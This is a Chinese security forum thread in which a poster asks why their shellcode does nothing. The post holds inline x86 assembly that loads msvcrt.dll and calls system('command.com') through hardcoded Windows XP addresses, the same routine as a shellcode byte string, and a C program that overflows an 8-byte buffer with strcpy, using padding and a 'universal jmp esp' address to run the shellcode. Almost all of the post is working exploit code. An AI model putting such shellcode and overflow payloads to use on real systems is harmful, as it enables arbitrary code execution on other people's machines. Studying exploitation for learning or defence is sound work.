- 帖子
- 310
- 积分
- 810
- 威望
- 1302
- 金钱
- 1010
- 在线时间
- 2 小时
|
[讨论]莫名其妙呀,我的shellcode为啥没反应
[讨论]莫名其妙呀,我的shellcode为啥没反应
议题作者:xiao2004
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
这段asm在vc下执行是没问题的,可以弹个command框
__asm{
push ebp
mov ebp,esp
xor eax,eax
push eax
sub esp,08h
mov byte ptr [ebp-0ch],6dh;
mov byte ptr [ebp-0bh],73h;
mov byte ptr [ebp-0ah],76h;
mov byte ptr [ebp-09h],63h;
mov byte ptr [ebp-08h],72h;
mov byte ptr [ebp-07h],74h;
mov byte ptr [ebp-06h],2eh;
mov byte ptr [ebp-05h],64h;
mov byte ptr [ebp-04h],6ch;
mov byte ptr [ebp-03h],6ch;
lea eax,[ebp-0ch];
push eax;
mov eax,0x7c801d77;压入LoadLibrary的地址
call eax;
push ebp; 把ebp入栈, esp - 4
mov ebp,esp; 给ebp赋新值勤,作为局部变量的基指针
xor edi,edi;
push edi; 把0入栈, esp - 4
sub esp,08h; 加上上面一共有12字节,用来放command.com
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;
lea eax,[ebp-0ch];
push eax;
mov eax,0x77bf93c7;压入system的地址
call eax;
}
然后我生成shellcode
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x08\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76"
"\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6"
"\x45\xFC\x6C\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
再用asm直接调用也是没问题的.
但我实际用时,程序运行却没得反应了...
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f" //通用jmp esp地址
"\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x08\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6\x45\xF6\x76"
"\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6"
"\x45\xFC\x6C\xC6\x45\xFD\x6C\x8D\x45\xF4\x50\xB8\x77\x1D\x80\x7C\xFF\xD0\x55\x8B\xEC"
"\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6\x45\xF6\x6D\xC6\x45\xF7"
"\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
int main()
{
char buf[8];
strcpy(buf,shellcode);
return 0;
}
谁能告诉我这是啥问题呀.
帖子452 精华16 积分1740 阅读权限100 性别男 在线时间221 小时 注册时间2005-3-19 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经
gyzy
技术核心组
|
|